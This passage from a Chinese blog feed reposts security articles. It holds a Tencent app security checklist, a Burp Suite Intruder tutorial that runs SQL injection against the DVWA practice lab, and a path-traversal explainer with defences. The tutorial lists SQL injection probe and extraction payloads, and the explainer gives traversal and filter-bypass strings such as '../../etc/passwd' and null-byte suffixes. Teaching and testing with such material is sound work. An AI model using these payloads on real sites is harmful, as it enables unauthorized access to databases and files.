120分。<br /> 然而由于并发性的问题，可以得到下面的结果：<br /> 用户1检查帐户A （ = 100 分）<br /> 用户2检查帐户A （ = 100 分）<br /> 用户2需要从帐户A 拿取10 分（ = 90 分） ，并把它放在帐户B （ = 110 分）<br /> 用户1需要从帐户A 拿取10分（仍然认为含有100 个分）（ = 90 分） ，并把它放到B（ = 120 分）<br /> 结果：帐户A 90 分，帐户B 120 分。</p> <p><strong>检测方法：</strong>发送并发http/tcp请求，查看并发前后CGI 功能是否正常。例如：并发前先统计好数据，并发后再统计数据，检查2次数据是否合理。</p> <p><strong>修复方案：</strong>对数据库操作加锁。</p> <p><a id="4.4.6_Cookie.E5.AE.89.E5.85.A8.E6.80.A7.E6.BC.8F.E6.B4.9E" name="4.4.6_Cookie.E5.AE.89.E5.85.A8.E6.80.A7.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.4.6 Cookie安全性漏洞</h4> <p><strong>名称：</strong>Cookie安全性漏洞</p> <p><strong>描述：</strong>cookie的属性设置不当可能会造成其他SNS游戏的运行出错等安全隐患。</p> <p><strong>检测方法：</strong>抓取数据包查看cookie的domain属性设定是否合理。</p> <p><strong>修复方案：</strong>对cookie字段的domain属性做严格的设定，openkey以及openid的domain只能设置到子域，禁止设置到父域qzoneapp.com。如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/domain.jpg"><img size-full=""  wp-image-3214"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/domain.jpg" alt="" height="71" width="640" /></a><br /> <a id="4.4.7_Frame-proxy.E6.94.BB.E5.87.BB.E6.BC.8F.E6.B4.9E" name="4.4.7_Frame-proxy.E6.94.BB.E5.87.BB.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.4.7 Frame-proxy攻击漏洞</h4> <p><strong>名称：</strong>Frame-proxy攻击漏洞</p> <p><strong>描述：</strong>在一些老版本浏览器（比如IE6）下，Frame-proxy攻击可以把非常驻XSS漏洞以常驻型的方式做攻击。</p> <p><strong>修复方案：</strong>qzoneapp.com域名下的应用不能再通过iframe嵌入qq.com域名下页面。</p> <p>原理如下图所示，假设域名xiaoyou.qq.com底下没有任何xss漏洞，然后xiaoyou.qq.com通过iframe嵌入了一个xxx.qzoneapp.com域名。</p> 假设qq.com的某个子域vul.qq.com存在一个非常驻的xss漏洞，那么当xxx.qzoneapp.com通过iframe嵌入vul.qq.com时，访问xiaoyou.qq.com域名的用户将受到常驻型XSS漏洞的攻击。<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/frame-proxy.jpg"><img size-full=""  wp-image-3215"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/frame-proxy.jpg" alt="" height="312" width="436" /></a>转载自：腾讯开发平台资料库 http://opensns.qq.com/</div><img src ="http://www.cnitblog.com/stomic/aggbug/88981.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2013-12-12 10:50 <a href="http://www.cnitblog.com/stomic/archive/2013/12/12/88981.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）Burp Suite详细使用教程-Intruder模块详解</title><link>http://www.cnitblog.com/stomic/archive/2012/07/30/83802.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Mon, 30 Jul 2012 08:51:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2012/07/30/83802.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/83802.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2012/07/30/83802.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/83802.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/83802.html</trackback:ping><description><![CDATA[<div><p><span style="color: #008000;"><strong>小编：<span style="color: #ff6600;">Burp Suite</span>是一个Web应用程序<span style="color: #008000;">集成攻击平台</span>，它包含了一系列burp工具，这些工具之间有大量接口可以互相通信，这样设计的目的是为了促进和提高整个攻击的效率。平台中所有工具共享同一robust框架，以便统一处理HTTP请求，持久性，认证，上游代理，日志记录，报警和可扩展性。<br /> </strong></span><strong style="color: #008000;">&nbsp; &nbsp; &nbsp; Burp Suite允许攻击者结合手工和自动技术去枚举、分析、攻击Web应用程序。这些不同的burp工具通过协同工作，有效的分享信息，支持以某种工具中的信息为基础供另一种工具使用的方式发起攻击。<br /> </strong><strong style="color: #008000;">&nbsp; &nbsp; &nbsp; 今天<span style="color: #008000;">freebuf会员</span><span style="color: #ff6600;">小冰</span>为大家带来这篇<span style="color: #ff6600;">Burp Suite使用详细教程</span>，文章条理清楚，各个细节都提到了，实为Burp Suite使用指南的一篇佳作!</strong></p> <p><span style="color: #000000;"><strong>0&#215;00 题外话</strong></span><br /> 最近迷上了burp suite 这个安全工具，百度了关于这个工具的教程还卖900rmb。。。ohno。本来准备买滴，但是大牛太高傲了，所以没买了。所以就有了今天这个文章。感谢帮助我的几个朋友：Mickey、安天的Sunge。<br /> <span style="color: #000000;"><strong>0&#215;01 介绍</strong></span><br /> 安装要求：<br /> Java 的V1.5 + 安装（ 推荐使用最新的JRE ）， 可从这里免费<br /> <a href="http://java.sun.com/j2se/downloads.html" target="_blank"> http://java.sun.com/j2se/downloads.html</a><br /> Burp Suite 下载地址： <a href="http://portswigger.net/burp/download.html" target="_blank">http://portswigger.net/burp/download.html</a><br /> 入门：<br /> 安装完成后可以双击可执行的JAR 文件，如果不工作，你可以运行在命令提示符或终端输入。<br /> 命令: Java &#8211;jar burpsuite_v1.4.jar<br /> Burp</p> <p><a rev="0" href="http://www.freebuf.com/buf/uploads/2012/05/16.jpg" rel="gallery"  first"="" title="FreebuF.COM"><img size-full=""  wp-image-2080"="" title="1" src="http://www.freebuf.com/buf/uploads/2012/05/16.jpg" alt="" height="373" width="946" /></a></p> <p>Burp Suite 包含了一系列burp 工具，这些工具之间有大量接口可以互相通信，之所以这样设计的目的是为了促进和提高  整个攻击的效率。平台中所有工具共享同一robust 框架，以便统一处理HTTP 请求，持久性，认证，上游代理，日志记录，报警和可扩展性。Burp  Suite允许攻击者结合手工和自动技术去枚举、分析、攻击Web 应用程序。这些不同的burp  工具通过协同工作，有效的分享信息，支持以某种工具中的信 息为基础供另一种工具使用的方式发起攻击</p> <p><strong>Proxy</strong> 提供一个直观、友好的用户界面，他的代理服务器包含非常详细的拦截规则，并能准确分析HTTP 消息的结构与内容。</p> <p><strong>Spide</strong> 爬行蜘蛛工具，可以用来抓取目标网站，以显示网站的内容，基本结构，和其他功能。</p> <p><strong>Scanner</strong> &nbsp;Web 应用程序的安全漏洞进行自动发现工具。它被设计用于渗透测试，并密切与您现有的技术和方法，以适应执行手动和半自动化的Web 应用程序渗透测试。</p> <p><strong>Repeater</strong> 可让您手动重新发送单个HTTP 请求</p> <p><strong>Intruder</strong> 是burp 套件的优势,他提供一组特别有用的功能。它可以自动实施各种定制攻击，包括资源枚举、数据提取、模糊测试等常见漏洞等。在各种有效的扫描工具中，它能够以最细化、最简单的方式访问它生产的请求与响应，允许组合利用个人智能与该工具的控制优点。</p> <p><strong>Sequencer</strong> 对会话令牌，会话标识符或其他出于安全原因需要随机产生的键值的可预测性进行分析。</p> <p><strong>Decoder</strong>&nbsp;转化成规范的形式编码数据，或转化成各种形式编码和散列的原始数据。它能够智能识别多种编码格式，使用启发式技术。</p> <p><strong>Comparer</strong>  &nbsp;是一个简单的工具，执行比较数据之间的任何两个项目（一个可视化的&#8220;差异&#8221;）。在攻击一个Web  应用程序的情况下，这一要求通常会出现当你想快速识别两个应用程序的响应之间的差异（例如，入侵者攻击的过程中收到的两种反应之间之间，或登录失败的反应 使用有效的和无效的用户名）之间，或两个应用程序请求（例如，确定不同的行为引起不同的请求参数）。</p> <p><span style="color: #000000;"><strong>0&#215;02 配置</strong></span><br /> 打开Burp 套件，配置监听端口<span style="color: #008000;">（点击图片可放大）</span></p> <p><a rev="1" href="http://www.freebuf.com/buf/uploads/2012/05/25.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2081"="" title="2" src="http://www.freebuf.com/buf/uploads/2012/05/25-300x231.jpg" alt="" height="231" width="300" /></a></p> <p><a rev="2" href="http://www.freebuf.com/buf/uploads/2012/05/34.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2082"="" title="3" src="http://www.freebuf.com/buf/uploads/2012/05/34-300x129.jpg" alt="" height="129" width="300" /></a></p> <p>一旦代理端口选择和服务在burp 套件开始，我们需要配置我们的浏览器。在大多数浏览器，你只需打开设置-网络-代理，然后告诉它使用&#8220;localhost&#8221;和端口&#8220;8080&#8221;（或任何您正在运行的端口，默认Burp： 8080）。然后保存更新的设置.</p> <p><a rev="3" href="http://www.freebuf.com/buf/uploads/2012/05/43.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2083"="" title="4" src="http://www.freebuf.com/buf/uploads/2012/05/43-300x147.jpg" alt="" height="147" width="300" /></a></p> <p>现在我们可以再浏览器中输入我们要检查的网站。你会看到burp 套件工具，proxy  选项卡上会亮起红色，表示它需要你的输入。默认行为是拦截设置为ON，这意味着它捕获的所有发送请求，然后要求用户输入，以决定是否数据包将被转发或丢 弃。你可以转发，并观看页面载入目标网站。如果你嫌麻烦那你可以INTECEPTOR  Off，只是手动抓取的网站，将捕获的数据发送到&#8220;历史记录&#8221;选项卡，你可以手动检查审查和测试。</p> <p><a rev="4" href="http://www.freebuf.com/buf/uploads/2012/05/54.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2084"="" title="5" src="http://www.freebuf.com/buf/uploads/2012/05/54-300x186.jpg" alt="" height="186" width="300" /></a></p> <p>关掉拦截你在历史记录里面会看到所有提交过的数据，在这里你可以看到所有request 和response 的数据。现在，我们可以右键进行其他的测试。</p> <p><a rev="5" href="http://www.freebuf.com/buf/uploads/2012/05/65.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2085"="" title="6" src="http://www.freebuf.com/buf/uploads/2012/05/65-300x197.jpg" alt="" height="197" width="300" /></a></p> <p><span style="color: #000000;"><strong>0&#215;03 intruder 定制攻击自动化</strong></span></p> <p>今天我将利用DVWA 的SQL 注入进行测试。你可以看到下面的图片，SQL 注入很简单，我们<br /> 测试：</p> <p><a rev="6" href="http://www.freebuf.com/buf/uploads/2012/05/71.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2086"="" title="7" src="http://www.freebuf.com/buf/uploads/2012/05/71-300x185.jpg" alt="" height="185" width="300" /></a></p> <p><a rev="7" href="http://www.freebuf.com/buf/uploads/2012/05/8.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2087"="" title="8" src="http://www.freebuf.com/buf/uploads/2012/05/8-300x203.jpg" alt="" height="203" width="300" /></a></p> <p>我们需要捕捉用户ID 请求，点击提交按钮，抓取数据包后，用有效载荷测试用户输入的ID值。<br /> 要做到这一点，我们必须确保，Burp 拦截我们的要求：</p> <p><a rev="8" href="http://www.freebuf.com/buf/uploads/2012/05/9.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2088"="" title="9" src="http://www.freebuf.com/buf/uploads/2012/05/9-300x185.jpg" alt="" height="185" width="300" /></a></p> <p>将提交用户ID 的请求，并发送到intruder 你可以看到下面：</p> <p><a rev="9" href="http://www.freebuf.com/buf/uploads/2012/05/10.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2089"="" title="10" src="http://www.freebuf.com/buf/uploads/2012/05/10-300x232.jpg" alt="" height="232" width="300" /></a></p> <p><a rev="10" href="http://www.freebuf.com/buf/uploads/2012/05/111.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2090"="" title="11" src="http://www.freebuf.com/buf/uploads/2012/05/111-300x153.jpg" alt="" height="153" width="300" /></a></p> <p>工具已经自动为我们创造了有效载荷测试的位置。有效载荷的位置使用&#167;符号作为每个有针对性的攻击位置的起始和结束标记。你想测试的位置前后用&#167;&#167;符号进行标示。<br /> 然后设置攻击类型，有4 种模式供大家选择。具体这四种模式的区别大家可以参考burp 的官方帮助文档。</p> <p><strong>Sniper</strong>  这种攻击模式可以让我们选择的攻击位置注入一个单一的有效载荷。这需要的有效载荷选项，将它们插入到选定的位置，然后重复，直到它已测试所有的有效载荷选 项。如果选择多个位置，它会只适用于测试，一次一个位置。我会告诉你如何使用这个测试在几秒钟之内的SQL 漏洞的迹象</p> <p><strong>Pitchfork</strong> 这种攻击模式允许你测试多种有效载荷，最大能够自定义8 个，基于攻击位置。这种攻击模式设置不同的有效载荷为每个位置逐一同时测试。</p> <p><strong>Cluster bomb</strong> 这种攻击模式使用多种有效载荷，并允许你测试每一个可能有效载荷在每个选择的攻击位置，这意味着接下来的测试，交换任何其他有效载荷。当你有不同需要注射的地方，它将会非常的方便。</p> <p>今天我选用的是sniper 模式进行测试，我会告诉你如何使用这个测试SQL 漏洞。虽然Burp自带了测试语句但是我还是希望自己手动去整理语句，下面是我自己整理的一些SQL 注入测试的语句：</p> <pre lang-php"=""><span>' " / /* # ) ( )'</span><span> </span>(<span>' and 1=1 and 1=2 and 1&gt;2 and 12 +and+12 /**/and/**/1</span></pre> <p>我们来配置攻击测试。如图</p> <p><a rev="11" href="http://www.freebuf.com/buf/uploads/2012/05/121.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2091"="" title="12" src="http://www.freebuf.com/buf/uploads/2012/05/121-300x139.jpg" alt="" height="139" width="300" /></a></p> <p>由于我个人已经整理好txt 所以我直接载入我的语句</p> <p><a rev="12" href="http://www.freebuf.com/buf/uploads/2012/05/131.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2092"="" title="13" src="http://www.freebuf.com/buf/uploads/2012/05/131.jpg" alt="" height="420" width="798" /></a></p> <p>确定后，我们来到选项标签下面的grep&#8212;match 设置测试结果匹配选项。大家可以用默认的选项，也可以载入自己收集的错误信息。</p> <p><a rev="13" href="http://www.freebuf.com/buf/uploads/2012/05/141.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2093"="" title="14" src="http://www.freebuf.com/buf/uploads/2012/05/141.jpg" alt="" height="433" width="703" /></a></p> <p>设置完成后，我们就可以运行测试，点击主菜单上的intruder&#8212; start sttack</p> <p><a rev="14" href="http://www.freebuf.com/buf/uploads/2012/05/151.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2094"="" title="15" src="http://www.freebuf.com/buf/uploads/2012/05/151.jpg" alt="" height="481" width="831" /></a></p> <p>现在，这将打开一个新的窗口，在这里我们可以看到自动测试的结果</p> <p><a rev="15" href="http://www.freebuf.com/buf/uploads/2012/05/161.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2095"="" title="16" src="http://www.freebuf.com/buf/uploads/2012/05/161.jpg" alt="" height="608" width="728" /></a></p> <p>你可以清楚地看到，返回页面大小差异。后面对勾的地方，表示发现grep-match 中我们提供的文本。如果你点击一个请求，你可以查看到我们实际发送的请求，以及响应，因此，我们现在可以清楚地看到错误信息。</p> <p><a rev="16" href="http://www.freebuf.com/buf/uploads/2012/05/17.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2096"="" title="17" src="http://www.freebuf.com/buf/uploads/2012/05/17-300x216.jpg" alt="" height="216" width="300" /></a></p> <p>现在我们已经确定找到了一个潜在SQL INJECTION  漏洞。这是好的开端，但现在怎么办？现在，我们回去给入侵者设置和工作，改变我们的设置，以进一步测试和利用。现在让我们看看如果我们可以设置入侵者测试 ORDER BY 来确定快速列数。使用了同样的要求，我们将现在的位置插入语句。</p> <pre lang-php"="">ORDER BY 1&#8212;<span> ORDER BY </span>2&#8212;<span> </span>+ORDER+BY+1&#8212;<span> </span>+ORDER+BY+2&#8212;<span> </span>/**/ORDER/**/BY/**/1&#8212;<span> </span>/**/ORDER/**/BY/**/2&#8212;</pre> <p><a rev="17" href="http://www.freebuf.com/buf/uploads/2012/05/18.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2097"="" title="18" src="http://www.freebuf.com/buf/uploads/2012/05/18.jpg" alt="" height="526" width="795" /></a></p> <p><a rev="18" href="http://www.freebuf.com/buf/uploads/2012/05/19.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2098"="" title="19" src="http://www.freebuf.com/buf/uploads/2012/05/19.jpg" alt="" height="432" width="600" /></a></p> <p>现在我们已经找到列数为2！您可以使用响应请求长度的线索来判断。现在我们将这个请求发送到Repeater，现在我们将使用Repeater 找到脆弱列。</p> <p><a rev="19" href="http://www.freebuf.com/buf/uploads/2012/05/20.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2099"="" title="20" src="http://www.freebuf.com/buf/uploads/2012/05/20.jpg" alt="" height="658" width="845" /></a></p> <p><a rev="20" href="http://www.freebuf.com/buf/uploads/2012/05/211.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2100"="" title="21" src="http://www.freebuf.com/buf/uploads/2012/05/211.jpg" alt="" height="485" width="700" /></a></p> <p>好了 现在我们知道脆弱的列，我们现在可以把这个请求转入到intruder 中去进行下一步的信息刺探和测试，我们插入自己整理好的一些数据库信息进行自动化测试。<br /> <span style="color: #000000;"><strong>basic.txt:</strong></span></p> <pre lang-php"="">Version()<span> </span>User()<span> </span>Database()<span> </span>@@hostname<span> </span>@@basedir<span> </span>@@datadir</pre> <p><a rev="21" href="http://www.freebuf.com/buf/uploads/2012/05/221.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2101"="" title="22" src="http://www.freebuf.com/buf/uploads/2012/05/221-300x189.jpg" alt="" height="189" width="300" /></a></p> <p><a rev="22" href="http://www.freebuf.com/buf/uploads/2012/05/231.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2102"="" title="23" src="http://www.freebuf.com/buf/uploads/2012/05/231.jpg" alt="" height="438" width="733" /></a></p> <p>这里我们不用设置grep 了 至于为什么大家自己想把。。。</p> <p><a rev="23" href="http://www.freebuf.com/buf/uploads/2012/05/241.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2103"="" title="24" src="http://www.freebuf.com/buf/uploads/2012/05/241.jpg" alt="" height="545" width="723" /></a></p> <p><a rev="24" href="http://www.freebuf.com/buf/uploads/2012/05/251.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2104"="" title="25" src="http://www.freebuf.com/buf/uploads/2012/05/251.jpg" alt="" height="530" width="543" /></a></p> <p>接下来我们可以用intruder 的另一种攻击模式来检查我们其他可以利用的数据库</p> <p><a rev="25" href="http://www.freebuf.com/buf/uploads/2012/05/26.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2105"="" title="26" src="http://www.freebuf.com/buf/uploads/2012/05/26.jpg" alt="" height="416" width="682" /></a></p> <p><a rev="26" href="http://www.freebuf.com/buf/uploads/2012/05/27.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2106"="" title="27" src="http://www.freebuf.com/buf/uploads/2012/05/27.jpg" alt="" height="314" width="677" /></a></p> <p><a rev="27" href="http://www.freebuf.com/buf/uploads/2012/05/28.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2107"="" title="28" src="http://www.freebuf.com/buf/uploads/2012/05/28.jpg" alt="" height="338" width="733" /></a></p> <p><a rev="28" href="http://www.freebuf.com/buf/uploads/2012/05/29.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2108"="" title="29" src="http://www.freebuf.com/buf/uploads/2012/05/29-300x189.jpg" alt="" height="189" width="300" /></a></p> <p>现在我们有基本信息，库，我们可以继续下去，重新配置intruder，从而获得所有的表名。但要记得库名要做十六进制转换，编码可以用burp 自带的decoder。</p> <p><a rev="29" href="http://www.freebuf.com/buf/uploads/2012/05/30.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2109"="" title="30" src="http://www.freebuf.com/buf/uploads/2012/05/30.jpg" alt="" height="474" width="770" /></a></p> <p><a rev="30" href="http://www.freebuf.com/buf/uploads/2012/05/311.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2110"="" title="31" src="http://www.freebuf.com/buf/uploads/2012/05/311-300x102.jpg" alt="" height="102" width="300" /></a></p> <p><a rev="31" href="http://www.freebuf.com/buf/uploads/2012/05/321.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2111"="" title="32" src="http://www.freebuf.com/buf/uploads/2012/05/321-300x101.jpg" alt="" height="101" width="300" /></a></p> <p><a rev="32" href="http://www.freebuf.com/buf/uploads/2012/05/331.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2112"="" title="33" src="http://www.freebuf.com/buf/uploads/2012/05/331-300x89.jpg" alt="" height="89" width="300" /></a></p> <p><a rev="33" href="http://www.freebuf.com/buf/uploads/2012/05/341.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2113"="" title="34" src="http://www.freebuf.com/buf/uploads/2012/05/341-300x109.jpg" alt="" height="109" width="300" /></a></p> <p><a rev="34" href="http://www.freebuf.com/buf/uploads/2012/05/35.jpg" rel="gallery" title="FreebuF.COM"><img size-full=""  wp-image-2114"="" title="35" src="http://www.freebuf.com/buf/uploads/2012/05/35.jpg" alt="" height="539" width="657" /></a></p> <p>重新配置intruder&#8212;获取列名</p> <p><a rev="35" href="http://www.freebuf.com/buf/uploads/2012/05/36.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2115"="" title="36" src="http://www.freebuf.com/buf/uploads/2012/05/36-300x99.jpg" alt="" height="99" width="300" /></a></p> <p><a rev="36" href="http://www.freebuf.com/buf/uploads/2012/05/37.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2116"="" title="37" src="http://www.freebuf.com/buf/uploads/2012/05/37-300x110.jpg" alt="" height="110" width="300" /></a></p> <p><a rev="37" href="http://www.freebuf.com/buf/uploads/2012/05/38.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2117"="" title="38" src="http://www.freebuf.com/buf/uploads/2012/05/38-300x161.jpg" alt="" height="161" width="300" /></a></p> <p><a rev="38" href="http://www.freebuf.com/buf/uploads/2012/05/39.jpg" rel="gallery" title="FreebuF.COM"><img size-medium=""  wp-image-2118"="" title="39" src="http://www.freebuf.com/buf/uploads/2012/05/39-300x76.jpg" alt="" height="76" width="300" /></a></p> <p>现在就可以直接用repeater 直接发送请求获取数据了</p> <p><a rev="39" href="http://www.freebuf.com/buf/uploads/2012/05/40.jpg" rel="gallery"  last"="" title="FreebuF.COM"><img size-medium=""  wp-image-2119"="" title="40" src="http://www.freebuf.com/buf/uploads/2012/05/40-300x145.jpg" alt="" height="145" width="300" /></a></p> <p>文章在此就告一段落了。这次讲解burp-intruder 只是抛砖引玉，更多强大功能欢迎大家和我探讨。 如果有朋友愿意共享1.4.0.5 专业版，麻烦递我个。Thanks</p> <p><span style="color: #008000;">作者：小冰<br /> </span></p> <h3><img src="http://www.freebuf.com/buf/themes/freebuf/images/warning.png"  alt="" />&nbsp;<strong style="color:#448901">版权声明：转载请注明出自: </strong> <a href="http://www.freebuf.com">FreebuF.COM</a></h3></div><img src ="http://www.cnitblog.com/stomic/aggbug/83802.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2012-07-30 16:51 <a href="http://www.cnitblog.com/stomic/archive/2012/07/30/83802.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>浅析路径遍历漏洞 </title><link>http://www.cnitblog.com/stomic/archive/2012/01/09/77104.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Sun, 08 Jan 2012 16:45:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2012/01/09/77104.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/77104.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2012/01/09/77104.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/77104.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/77104.html</trackback:ping><description><![CDATA[<div> 许多的Web应用程序一般会有对服务器的文件读取查看的功能，大多会用到提交的参数来指明文件名，形如：http://www.nuanyue.com/getfile=image.jgp当服务器处理传送过来的image.jpg文件名后，Web应用程序即会自动添加完整路径，形如&#8220;d://site/images/image.jpg&#8221;，将读取的内容返回给访问者。初 看，在只是文件交互的一种简单的过程，但是由于文件名可以任意更改而服务器支持&#8220;~/&#8221;，&#8220;/..&#8221;等特殊符号的目录回溯，从而使攻击者越权访问或者覆盖 敏感数据，如网站的配置文件、系统的核心文件，这样的缺陷被命名为路径遍历漏洞。在检查一些常规的Web应用程序时，也常常有发现，只是相对隐蔽而已。<p style="line-height:25px;text-indent:nullem;text-align:left">&nbsp; &nbsp; 发现路径遍历漏洞路径遍历漏洞的发现，主要是对Web应用程序的文件读取交互的功能块，进行检测，面对这样的读取方式：&#8220;http://www.nuanyue.com/test/downfile.jsp?filename=fan.pdf&#8221;</p><p style="line-height:25px;text-indent:nullem;text-align:left">我 们可以使用  &#8220;../&#8221;来作试探，比如提交Url：&#8220;getfile=/fan/fan/*53.pdf&#8221;，而系统在解析是&#8220;d://site/test/pdf /fan/fan/../../*53.pdf&#8221;，通过&#8220;../&#8221;跳转目录&#8220;/fan&#8221;，即&#8220;d://site/test/pdf/*53.pdf&#8221;，返 回了读取文件的正常的页面。</p><p style="line-height:25px;text-indent:nullem;text-align:left">&nbsp;  &nbsp;  路径遍历漏洞隐藏一般在文件读取或者展示图片功能块这样的通过参数提交上来的文件名，从这可以看出来过滤交互数据是完全有必要的。恶意攻击者当然后会利用 对文件的读取权限进行跨越目录访问，比如访问一些受控制的文件，&#8220;../../../../../../../etc/passwd&#8220;或者&#8221;../.. /../../boot.ini&#8220;，当然现在部分网站都有类似Waf的防护设备，只要在数据中会有/etc /boot.ini等文件名出直接进行拦截。</p><p style="line-height:25px;text-indent:nullem;text-align:left"> </p><p style="line-height:25px;text-indent:nullem;text-align:left">遍历路径攻击变异<br /> &nbsp; &nbsp; 路径遍历漏洞是很常见的，在Web应用程序编写过程，会有意识的对传递过来的参数进行过滤或者直接删除，存在风险的过滤方式，一般可以采用如下方式进行突破：</p><p style="line-height:25px;text-indent:nullem;text-align:left">以下是一些绕过的方法，当然在实际运行过程中，可以组合使用。</p><p style="line-height:25px;text-indent:nullem;text-align:left">&nbsp;  &nbsp; (1) 加密参数传递的数据；在Web应用程序对文件名进行加密之后再提交，比如：&#8220;downfile.jsp?filename=  ZmFuLnBkZg-  &#8220;，在参数filename用的是Base64加密，而攻击者要想绕过，只需简单的将文件名加密后再附加提交即可。所以说，采用一些有规律或者轻易能识别 的加密方式，也是存在风险的。</p><p style="line-height:25px;text-indent:nullem;text-align:left">&nbsp; &nbsp; (2)&nbsp;&nbsp;编码绕过，尝试使用不同的编码转换进行过滤性的绕过，比如Url编码，通过对参数进行Url编码提交，&#8220;downfile.jsp?filename= %66%61%6E%2E%70%64%66&#8220;来绕过。</p><p style="line-height:25px;text-indent:nullem;text-align:left">&nbsp;  &nbsp;  (3)&nbsp;&nbsp;目录限定绕过；在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的，攻击者可以通过某些特殊的符号&#8220;~&#8220;来绕过。形 如这样的提交&#8220;downfile.jsp?filename=~/../boot&#8221;。能过这样一个符号，就可以直接跳转到硬盘目录下了。</p><p style="line-height:25px;text-indent:nullem;text-align:left">&nbsp;  &nbsp;  (4)&nbsp;&nbsp;绕过文件后缀过滤；一些Web应用程序在读取文件前，会对提交的文件后缀进行检测，攻击者可以在文件名后放一个空字节的编码，来绕过这样的文件 类型的检查。例如：../../../../boot.ini%00.jpg，Web应用程序使用的Api会允许字符串中包含空字符，当实际获取文件名 时，则由系统的Api会直接截短，而解析为&#8220;../../../../boot.ini&#8221;。在类Unix的系统中也可以使用Url编码的换行符，例 如：../../../etc/passwd%0a.jpg如果文件系统在获取含有换行符的文件名，会截短为文件名。也可以尝试%20，例如:  ../../../index.jsp%20</p><p style="line-height:25px;text-indent:nullem;text-align:left">&nbsp;  &nbsp;  (5)&nbsp;&nbsp;绕过来路验证。在一些Web应用程序中，会有对提交参数的来路进行判断的方法，而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再 点击或者直接修改Http Referer即可，这主要是原因Http  Referer是由客户端浏览器发送的，服务器是无法控制的，而将此变量当作一个值得信任源是错误的。</p><p style="line-height:25px;text-indent:nullem;text-align:left">防范遍历路径漏洞<br /> &nbsp; &nbsp;  在防范遍历路径漏洞的方法中，最有效的是权限的控制，谨慎的处理向文件系统API传递过来的参数路径。主要是因为大多数的目录或者文件权限均没有得到合理 的配置，而Web应用程序对文件的读取大多依赖于系统本身的API，在参数传递的过程，如果没有得严谨的控制，则会出现越权现象的出现。在这种情况 下，Web应用程序可以采取以下防御方法，最好是组合使用。</p><p style="line-height:25px;text-indent:nullem;text-align:left">&nbsp; &nbsp; (1)&nbsp;&nbsp;数据净化，对网站用户提交过来的文件名进行硬编码或者统一编码，对文件后缀进行白名单控制，对包含了恶意的符号或者空字节进行拒绝。</p><p style="line-height:25px;text-indent:nullem;text-align:left">&nbsp; &nbsp; (2)&nbsp;&nbsp;Web应用程序可以使用chrooted环境访问包含被访问文件的目录，或者使用绝对路径+参数来控制访问目录，使其即使是越权或者跨越目录也是在指定的目录下。</p><p 